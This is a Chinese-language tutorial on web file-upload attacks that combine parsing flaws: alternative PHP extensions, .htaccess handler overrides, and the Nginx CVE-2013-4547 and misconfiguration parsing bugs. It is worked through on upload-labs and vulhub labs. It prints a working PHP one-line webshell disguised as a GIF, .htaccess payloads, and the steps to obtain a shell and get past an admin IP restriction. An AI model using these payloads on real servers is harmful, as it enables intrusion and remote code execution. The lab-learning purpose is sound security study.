WEB漏洞攻防 - 檔案上傳漏洞 - 配和檔案決議漏洞繞過安全檢測突破檔案上傳漏洞

什么是檔案決議漏洞?

在服務器與WEB容器的一些本身特性的相關功能中,開發人員如果沒有深入理解這些特性的話，這些特性的弊端往往會成為攻擊者可以利用的手段，比如像 IIS、Apache、Nginx 中,在一些特定的情況下會將一些特定的檔案決議成腳本檔案格式，這就是檔案決議漏洞，當攻擊者上傳了無法正常識別決議的檔案再配合這些服務器與WEB容器的弊端特性去決議,就會產生直接利用后門腳本的效果,直接getshell，

中間件決議 - 格式變異與規則檔案決議 [根據中間件平臺決定]

比如 upload-labs-Pass-3 可以利用格式變異繞過過濾進行檔案上傳， [利用 “.phtml” 或者 “.php5” 繞過過濾]

".phtml" 原理

在 Apache 的 “http.conf” 組態檔中

從圖中可以看到，我安裝的Apache默認決議php和phtm的，如果黑名單并沒有過濾phtm，就可以上傳phtm的木馬，

比如 upload-labs-Pass-4 可以利用 “.htaccess” 后綴突破過濾，[".htaccess"是 apache 服務器中的一個組態檔,不是上傳的檔案的黑名單之內 ,所以 .htaccess 檔案是可以上傳成功，]

".htaccess" 原理[需要拿到服務器權限之后才能更改，一般常用于留后門使用]

“.htaccess” 檔案是Apache才有的一個組態檔,可被執行可上傳，默認情況下是開啟狀態,如果不開啟,找到 “httpd.conf” 組態檔，

Options FollowSymLinks

AllowOverride None


改為：
Options FollowSymLinks

AllowOverride All

這樣就開啟了，

#AddType application/x-httpd-php3 .phtml
#AddType application/x-httpd-php3-source .phps
#Addtype application/x-httpd-php .jpg .shtml

變更 “AddType” 引數配置:“AddType"引數可以為特定后綴的檔案指定MIME型別，這里的設定將覆寫mime.types中的設定，如上文中的 “.phtml”、”.phps"、".jpg"、".shtml"的后綴的檔案都可以被當作腳本去決議，

還有一種方法就是直接在上傳的 “.htaccess” 檔案進行設定更改當前決議規則

<FilesMatch "shell.jpg">SetHandler application/x-httpd-php</FilesMatch>	# 通過.htaccess檔案呼叫php解釋器去決議一個檔案名中只要包含"shell.jpg"的檔案,[注意這里即使是正常的jpg檔案,也會被決議，]

GIF89a<?php @eval($_POST['t']);phpinfo();?>

<FilesMatch "hehe">SetHandler aplication/x-httpd-php</FilesMatch>	# 通過.htaccess檔案呼叫php解釋器去決議一個檔案名中只要包含"hehe",無論檔案名是什么都會被以 php 的方式進行決議，

利用".htaccess"的方式以前會有多,現在不多了，即使現在有,也不一定有這樣的安全問題,可以利用的機會也不多;完全算是當作一個知識點來看吧，

upload-labs-Pass-3 [格式變異繞過]

原始碼如下

從原始碼中我們可以看出,過濾限制了 "’.asp’,’.aspx’,’.php’,’.jsp’"的后綴檔案名，這里我們就可以利用格式變異去突破，如 “.phtml”

upload-labs-Pass-4 [規則檔案決議繞過]

從原始碼和提示中我們看到過濾了大量的后綴,但是沒有過濾 “.htaccess” 后綴,這里我們就可以利用上文提到的 “.htaccess” 的原理上傳一個 “.htaccess” 檔案,內容 <FilesMatch "hehe">SetHandler aplication/x-httpd-php</FilesMatch> 然后再上傳一個 “test.hehe” 的檔案即可繞過驗證，

Nginx 檔案名邏輯漏洞（CVE-2013-4547）

原理：

該漏洞其實和代碼執行沒有太大關系，主要原因是錯誤地決議了請求的URI，錯誤地獲取到用戶請求的檔案名，導致出現權限繞過、代碼執行的連帶影響，

舉個例子，比如，Nginx匹配到.php結尾的請求，就發送給fastcgi進行決議，常見的寫法如下：

location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情況下（關閉pathinfo的情況下），只有.php后綴的檔案才會被發送給fastcgi決議，

而存在CVE-2013-4547的情況下，我們請求1.gif[0x20][0x00].php，這個URI可以匹配上正則.php$，可以進入這個Location塊；但進入后，Nginx卻錯誤地認為請求的檔案是1.gif[0x20]，就設定其為SCRIPT_FILENAME的值發送給fastcgi，

fastcgi根據SCRIPT_FILENAME的值進行決議，最后造成了決議漏洞，

所以，我們只需要上傳一個空格結尾的檔案，即可使PHP決議之，

再舉個例子，比如很多網站限制了允許訪問后臺的IP：

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我們可以請求如下URI：/test[0x20]/…/admin/index.php，這個URI不會匹配上location后面的/admin/，也就繞過了其中的IP驗證；但最后請求的是/test[0x20]/…/admin/index.php檔案，也就是/admin/index.php，成功訪問到后臺，（這個前提是需要有一個目錄叫“test ”：這是Linux系統的特點，如果有一個不存在的目錄，則即使跳轉到上一層，也會爆檔案不存在的錯誤，Windows下沒有這個限制）

漏洞復現：

前提條件已經安裝了 vulhub , cd vulhub/nginx/CVE-2013-4547

執行編譯: docker-compose up -d

然后訪問 “ip:8080” 即可看到一個上傳的頁面，經過測驗我們發現不能上傳帶有 “php、php5” 等相關格式的腳本檔案，

此時我們結合 “CVE-2013-4547” 執行上傳的操作，上傳一張正常的圖片，同時將一句話寫入該圖片，

當上傳成功之后，回應包會報出檔案的上傳地址，此時我們再訪問該圖片，同時在檔案名后面加上 “ .php” 【這里注意有兩個空格】

通過burp抓取該資料包，如下圖

該決議漏洞的原理：錯誤的決議了請求的URL，錯誤的獲取到用戶請求的檔案名，導致出現權限繞過、代碼執行的連帶影響，

該漏洞復現的參考：

在windows中，檔案名 xxx.jpg 后的空格經常被忽略，因而會產生較大的利用率

nginx 0.8.41 ~ 1.4.3/1.5.0~1.5.7 為其影響版本

適用于php語言

Nginx 決議漏洞

首先這里要說明的是該漏洞成因和上傳漏洞無關，漏洞成因為 “用戶配置不當造成的決議漏洞，”

啟動 vulhub 環境

cd /vulhub/nginx/nginx_parsing_vulnerability

在目錄下執行

docker-compose up -d 進行環境編譯運行

訪問 “http://your-ip/uploadfiles/nginx.png” 可以看到一張圖片，

在訪問圖片URL地址后面加上 .php 訪問

訪問http://your-ip/index.php可以訪問該環境的上傳功能，上傳代碼不存在漏洞，我們可以直接上傳一張正常的圖片，在圖片主體中加上 一句話，然后利用 .php 后綴訪問，即可利用該決議漏洞 getshell，